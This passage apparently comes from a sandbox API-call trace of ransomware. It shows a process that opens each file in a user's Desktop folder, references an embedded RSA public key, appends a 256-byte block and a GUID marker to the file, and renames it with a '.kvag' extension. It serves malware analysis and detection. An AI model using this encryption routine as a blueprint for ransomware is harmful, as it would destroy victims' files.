dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.988] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.988] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.988] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.988] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.988] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.988] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.988] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.988] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0120.989] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1063d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.989] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.989] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.989] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.989] CloseHandle (hObject=0x61c) returned 1 [0120.990] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\7D6iArC91 Gvdvs4fzbE.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\7d6iarc91 gvdvs4fzbe.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\7D6iArC91 Gvdvs4fzbE.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\7d6iarc91 gvdvs4fzbe.mp4.kvag")) returned 1 [0120.992] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe941c0, ftCreationTime.dwHighDateTime=0x1d4c562, ftLastAccessTime.dwLowDateTime=0xcc84b7d0, ftLastAccessTime.dwHighDateTime=0x1d4cb02, ftLastWriteTime.dwLowDateTime=0xcc84b7d0, ftLastWriteTime.dwHighDateTime=0x1d4cb02, nFileSizeHigh=0x0, nFileSizeLow=0xf44e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDcvm.m4a", cAlternateFileName="")) returned 1 [0120.992] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\FDcvm.m4a") returned=".m4a" [0120.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\FDcvm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\fdcvm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.992] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=62542) returned 1 [0120.992] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.994] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf428, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.994] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.995] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf44e, lpOverlapped=0x0) returned 1 [0120.996] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.996] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.996] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.996] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.997] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.997] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.997] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.997] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.997] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.997] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.997] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.997] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.997] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.998] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0120.998] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf44e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.998] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.998] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.998] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.998] CloseHandle (hObject=0x61c) returned 1 [0121.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\FDcvm.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\fdcvm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\FDcvm.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\fdcvm.m4a.kvag")) returned 1 [0121.002] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b335e50, ftCreationTime.dwHighDateTime=0x1d4d28c, ftLastAccessTime.dwLowDateTime=0x5b96ae00, ftLastAccessTime.dwHighDateTime=0x1d4cdc5, ftLastWriteTime.dwLowDateTime=0x5b96ae00, ftLastWriteTime.dwHighDateTime=0x1d4cdc5, nFileSizeHigh=0x0, nFileSizeLow=0x88ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ggUgd4m76uyf-R7.ots", cAlternateFileName="GGUGD4~1.OTS")) returned 1 [0121.002] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\ggUgd4m76uyf-R7.ots") returned=".ots" [0121.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\ggUgd4m76uyf-R7.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\ggugd4m76uyf-r7.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.003] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=34989) returned 1 [0121.003] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.005] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8887, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.005] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.006] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x88ad, lpOverlapped=0x0) returned 1 [0121.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.007] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.007] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.008] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.008] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.008] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.008] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.008] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.008] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.008] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.008] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.008] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.008] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.009] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x88ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.009] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.009] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.009] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.009] CloseHandle (hObject=0x61c) returned 1 [0121.010] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\ggUgd4m76uyf-R7.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\ggugd4m76uyf-r7.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\ggUgd4m76uyf-R7.ots.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\ggugd4m76uyf-r7.ots.kvag")) returned 1 [0121.012] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f6fb70, ftCreationTime.dwHighDateTime=0x1d4ce96, ftLastAccessTime.dwLowDateTime=0x9cec20f0, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x9cec20f0, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x15fdf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hd_I5QL.swf", cAlternateFileName="")) returned 1 [0121.012] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\hd_I5QL.swf") returned=".swf" [0121.012] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\hd_I5QL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\hd_i5ql.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.013] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=90079) returned 1 [0121.013] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.015] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15fb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.015] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.016] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x15fdf, lpOverlapped=0x0) returned 1 [0121.017] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.017] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.017] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.017] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0121.018] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.018] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.018] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.018] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.018] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.018] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0121.018] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.018] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.018] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.019] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0121.019] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15fdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.019] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.020] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.020] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.020] CloseHandle (hObject=0x61c) returned 1 [0121.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\hd_I5QL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\hd_i5ql.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\RynyhXN0v\\hd_I5QL.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\rynyhxn0v\\hd_i5ql.swf.kvag")) returned 1 [0121.022] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f6fb70, ftCreationTime.dwHighDateTime=0x1d4ce96, ftLastAccessTime.dwLowDateTime=0x9cec20f0, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0x9cec20f0, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0x15fdf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hd_I5QL.swf", cAlternateFileName="")) returned 0 [0121.022] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.022] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.022] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.023] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0121.023] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" 